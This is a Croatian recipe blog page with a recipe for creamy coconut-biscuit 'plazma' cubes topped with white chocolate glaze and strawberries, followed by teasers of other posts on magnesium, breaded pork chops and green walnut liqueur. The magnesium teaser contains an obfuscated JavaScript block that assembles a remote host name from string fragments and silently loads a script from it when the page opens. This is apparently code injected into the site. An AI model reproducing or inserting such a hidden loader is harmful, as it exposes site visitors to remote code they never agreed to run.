KREMASTE PLAZMA KOCKE




Kremaste plazma kocke 




Ako ste u potrazi za desertom koji izgleda kao da je izašao iz slastičarnice, a priprema se bez puno truda, ovaj recept mogao bi vas osvojiti već na prvi zalogaj. Kremasta tekstura, bogat okus kokosa i keksa te glatka glazura od bijele čokolade stvaraju neodoljivu kombinaciju, dok jagode unose dozu svježine i laganu kiselkastu notu koja savršeno upotpunjuje svaki zalogaj. 





Kremaste plazma kocke 


Sastojci:

Sastojci:

      •700 ml mlijeka

     •70 g šećera

  • 4 žlice pšeničnog griza
  • 150 g kokosova brašna
  • 125 g maslaca
  • 300 g mljevenog keksa
  • 120 ml slatkog vrhnja za šlag
  • 300 g bijele čokolade
  • svježe jagode


Priprema: 


U dublji lonac ulijte mlijeko pa dodajte šećer, griz i kokosovo brašno. Smjesu zagrijavajte na umjerenoj vatri uz stalno miješanje dok ne postane gusta i kremasta. Kada je krema gotova, maknite je sa štednjaka te odmah umiješajte maslac narezan na manje komade. Nakon što se maslac potpuno otopi, postupno dodajte mljeveni keks i sve dobro sjedinite kako biste dobili kompaktnu smjesu. Pripremljenu kremu rasporedite u kalup ili manji lim, ravnomjerno je zagladite i ostavite da se ohladi na sobnoj temperaturi. Za završni sloj zagrijte slatko vrhnje gotovo do vrenja, zatim ga prelijte preko sitno narezane bijele čokolade. Miješajte dok ne dobijete glatku i sjajnu čokoladnu glazuru. Glazuru ravnomjerno rasporedite po ohlađenoj kremi, a zatim na vrh posložite narezane jagode. Kolač stavite u hladnjak na nekoliko sati kako bi se svi slojevi dobro stisnuli. Prije posluživanja narežite ga na kocke ili ploške i poslužite dobro ohlađenog.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više